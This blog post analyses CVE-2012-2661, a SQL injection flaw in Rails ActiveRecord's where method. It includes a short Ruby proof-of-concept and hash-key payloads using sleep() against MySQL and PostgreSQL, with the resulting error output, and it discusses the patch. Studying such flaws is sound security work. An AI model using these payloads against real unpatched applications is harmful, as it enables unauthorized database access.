SQL Injection is the most dangerous risk a web application is exposed to. If an
input is not fully sanitized before used to build a SQL query it is possible to
subvert the query itself injecting pieces of arbitrary SQL code.
Results can vary from unauthorized data access to system compromize.
ActiveRecord is the default ORM for
Rails web application framework and it suffered
from a SQL Injection form patched last 31 May.
The attack
You’re using an
ActiveRecport object
and you’re taking something from the view layer passing to your model fetching
data.
When you try to pass an Hash object
as field to where method as example, injecting some SQL code into it,
ActiveRecord fails to build the SQL Query and the injection occurs as explained
in this blog post.
the string exploiting CVE-2012-2661
1
User.where(:password=>{'test where (select 0) or sleep(1); -- .user'=>{'id'=>'1234'}}).all
Mysql
It seems that all the stuff before the leading ‘.’ in the Hash key value is
taken and injected as WHERE clause in a SHOW TABLE statement when used with
MySQL as backend RDBMS.
A very lame boilerplate exploiting attempt
123456789101112131415161718192021
#!/usr/bin/env rubyrequire'active_record'ActiveRecord::Base.establish_connection(:adapter=>"mysql2",:host=>"localhost",:username=>"thesp0nge",:password=>"",:database=>"test")classUser<ActiveRecord::Baseendputs"MySQL2"beginUser.where(:password=>{'test where (select 0) or sleep(1); -- .user'=>{'id'=>'1234'}}).allrescueException=>eputse.messageend
This code resulted in the following error printed with some delay telling the
sleep() has been called:
A very lame boilerplate exploiting attempt
123
$./cve_2012_2661.rbMySQL2Mysql2::Error:Unknowncolumn'test where (select 0) or sleep(1); -- .user.id'in'where clause':SELECT`users`.*FROM`users`WHERE`test where (select 0) or sleep(1); -- `.`user`.`id` = '1234'
Executing this code mangling the database name, test, with something the user
thesp0nge is not allowed to access, let’s say the mysql database, output error
indicates where the injection really occurs:
From the error message it seems either that ActiveRecord didn’t try to
authenticate with user thesp0nge, leaving the field value empty. I tried a bit
to exploit either the attack vector in order to put an arbitrary value as
connection username but I failed, maybe I’ll return on this another time.
PostgreSQL
The same attack vector applied on a postgresql driven database connection
resulted in a completely different error message:
A very lame boilerplate exploiting attempt
1234
$./cve_2012_2661.rbPostgreSQLPG::Error:ERROR:schema"test where (select 0) or sleep(1) ; -- "doesnotexist:SELECT"users".*FROM"users"WHERE"test where (select 0) or sleep(1) ; -- "."user"."id"='1234'
Using another RDBMS it seems that attack payload was injected straight forward
in the WHERE clause for the SELECT statement.
Crafting more the attack payload I found something intersting, the error
message changed significantly. Fetching the users removing the dot from the
hash key value, resulted the adapter to think the key was a table name.
A very lame boilerplate exploiting attempt
1
User.where(:password=>{'1=0 or sleep(1); -- user'=>{'id'=>'1234'}}).all
A very lame boilerplate exploiting attempt
123456
./cvs_2012_2661.rbPostgreSQLPG::Error:ERROR:missingFROM-clauseentryfortable"1=0 or sleep(1); -- user"LINE1:SELECT"users".*FROM"users"WHERE"1=0 or sleep(1); -- us... ^: SELECT "users".* FROM "users" WHERE "1=0orsleep(1);--user"."id" = '1234'
However it seems that PostgreSQL adapter was smart enough to double any “
character so I was not able to close the WHERE part of the SELECT.
The patch
Aaron Patterson submitted a patch for Rails
3.0, 3.1 and 3.2 latest Friday. Files involved in the patch are not the
adapters but the code building the SQL predicate from the Hash object.
The real problem I see here is that patch is a real quick and dirty fix to
mitigate this, that doesn’t mean a positive approach has been done to make the
ActiveRecord::Base a safe place to be.
I don’t even know if a real and dangerous exploit can be written for this
injection but I do think a sort of input validation must be applied in a more
structured way, maybe using Owasp Esapi for Ruby.
However Rails is still one of my web framework of choice with great hackers
working on it.
It’s interesting now, looking how other ORMs react to unsolicited parameters.